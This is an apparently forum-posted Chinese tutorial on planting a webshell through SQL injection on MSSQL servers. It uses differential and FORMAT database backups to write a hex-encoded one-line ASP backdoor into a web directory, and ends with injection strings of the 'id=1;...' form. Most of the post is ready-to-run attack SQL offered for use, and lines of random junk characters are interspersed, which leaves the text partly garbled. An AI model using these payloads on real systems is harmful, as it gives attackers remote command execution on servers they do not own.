DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
) ?# {+ y& [, `" m# ?: P* y
' v3 a) o. M+ t0 W! Q9 I! L一利用差异备份
6 m, c  u% [, s8 d0 }3 U加一个参数WITH DIFFERENTIAL
+ b/ G+ ~1 |* K) D
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) a2 ?3 n6 G. b  H6 G! screate table [dbo].[xiaolu] ([cmd] [image]);
) y6 o0 k) r. ]6 Y$ }1 Linsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( K# @: T: T2 A# i9 F$ m0 [( ydeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
- f5 A( a5 o! ?* X
( o9 U! Y9 _/ ?/ M9 d9 u二利用完全FORMAT
加一个参数WITH FROMAT
, p  [/ {0 m6 S& J' y; b  t$ p有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
2 |0 M+ ^) g* c% Z" f% Q3 A+ D
2 [/ b* w! D" J* Mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# R5 S2 h# H6 \create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( H0 u  R  Y0 H2 M" p+ i( fdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)

1 y" C, W. U/ c7 Q* cid=1;backup database model to disk=’你的路径‘ with differential,format;–

7 u6 ?3 }$ S9 }